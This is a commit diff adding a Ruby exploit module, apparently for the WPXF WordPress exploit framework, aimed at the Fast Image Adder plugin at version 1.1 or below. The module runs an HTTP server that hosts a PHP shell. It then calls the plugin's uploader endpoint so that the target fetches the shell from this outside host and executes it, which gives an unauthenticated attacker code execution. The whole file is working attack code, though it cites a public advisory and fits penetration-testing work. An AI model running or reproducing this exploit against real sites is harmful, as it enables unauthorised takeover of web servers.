Add Fast Image Adder <= 1.1 RFI shell upload

Author: rastating

modules/exploits/fast_image_adder_v1.1_rfi_shell_upload.rb

@@ -0,0 +1,89 @@
+require 'erb'
+
+class Wpxf::Exploit::FastImageAdderV11RfiShellUpload < Wpxf::Module
+  include Wpxf
+  include Wpxf::Net::HttpServer
+  include Wpxf::WordPress::ShellUpload
+  include ERB::Util
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Fast Image Adder <= 1.1 RFI Shell Upload',
+      desc: %(
+        Fast Image Adder <= 1.1 suffers from a remote file inclusion vulnerability
+        which allows unauthenticated users to download and execute a PHP shell
+        hosted on a remote server.
+
+        This module will host a HTTP server to serve the payload, and make a request
+        to the target that will initiate the download and execution of the payload.
+      ),
+      author: [
+        'Larry W. Cashdollar',            # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8092'],
+        ['URL', 'http://www.vapid.dhs.org/advisory.php?v=139']
+      ],
+      date: 'Jul 10 2015'
+    )
+
+    register_options([
+      StringOption.new(
+        name: 'rfi_host',
+        desc: 'The address of the host listening for a connection',
+        required: true
+      ),
+      StringOption.new(
+        name: 'rfi_path',
+        desc: 'The path to access via the remote file inclusion request',
+        default: Utility::Text.rand_alpha(8),
+        required: true
+      )
+    ])
+  end
+
+  def check
+    check_plugin_version_from_readme('fast-image-adder', '1.2')
+  end
+
+  def rfi_host
+    normalized_option_value('rfi_host')
+  end
+
+  def rfi_path
+    normalized_option_value('rfi_path')
+  end
+
+  def rfi_url
+    "http://#{rfi_host}:#{http_server_bind_port}/#{rfi_path}/#{payload_name}"
+  end
+
+  def on_http_request(_path, _params, _headers)
+    payload.encoded
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_plugins, 'fast-image-adder', "fast-image-adder-uploader.php?confirm=url&url=#{url_encode(rfi_url)}")
+  end
+
+  def uploaded_payload_location
+    upload_result.body[/Uploaded as (.+?)\s/i, 1]
+  end
+
+  def payload_body_builder
+    Utility::BodyBuilder.new
+  end
+
+  def execute_payload(url)
+    stop_http_server
+    super(url)
+  end
+
+  def run
+    start_http_server true
+    super
+  end
+end